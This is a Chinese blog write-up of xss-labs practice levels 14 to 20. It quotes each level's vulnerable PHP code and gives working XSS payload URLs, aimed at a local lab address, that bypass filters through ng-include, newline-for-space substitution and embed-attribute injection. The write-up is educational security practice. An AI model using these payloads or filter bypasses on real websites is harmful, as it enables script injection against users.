xss-labs靶场训练(14-20)

第十四关

这一关iframe调用的文件地址访问失败,已经无法测试了。
在这里插入图片描述
这关主要考察exif xss漏洞,具体可以参考前辈的先知文章:exif xss

第十五关

后台关键代码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这里主要考查ng-include 指令,该指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
引用文件名要加单引号 即 ng-include=" ‘index.html ’ "
绕过方法:利用ng-include指令的特性包含第一关的HTML文件,并以此触发弹窗
Payload:

 http://192.168.121.129/xss/level15.php?src='http://192.168.121.129/xss/level1.php?name=test<img src=1 οnerrοr=alert(1)>'

第十六关

后台关键代码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 

这里过滤了script、空格、/,用换行符%0a(回车)或%0D(回车)取代空格(在HTML中%0a和%0D是可以当成空格使用的)
Payload:

http://192.168.121.129/xss/level16.php?keyword<img%0asrc="1.jpg"%0aonerror=alert(1)>

第十七关

后台关键代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这里用到了<embed> 标签,是用来嵌入图片的。然后arg01和arg02两个变量对特殊字符进行了过滤。可以考虑用onclick或onmouseover事件绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onmouseover看作另外一个属性。

Payload:

http://192.168.121.129/xss/level17.php?arg01=a&arg02=b onmouseover=alert(1)

第十八关

后台关键代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这一关的代码基本和十七关一样,只是图片不同而已,所以解法和十七关一样。

第十九关

这关是flash xss,涉及到反编译,暂时搞不懂,先记下payload:

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

第二十关

暂时搞不懂,先记下payload
Payload:

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

这里可以用一种万能的方法触发弹窗,就是编辑HTML手动添加onmouseover时件
在这里插入图片描述
在这里插入图片描述

总结

后面这几关打的有点吃力,主要原因是知识不够全面,之后还得逐步完善自己的知识体系,安全道路任重而道远啊!

参考文章

https://blog.csdn.net/qq_41734243/article/details/105991109?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522159032497919725211935522%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=159032497919725211935522&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v28-7-105991109.pc_insert_v8&utm_term=xss-labs

https://blog.csdn.net/qq_43968080/article/details/104725021

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值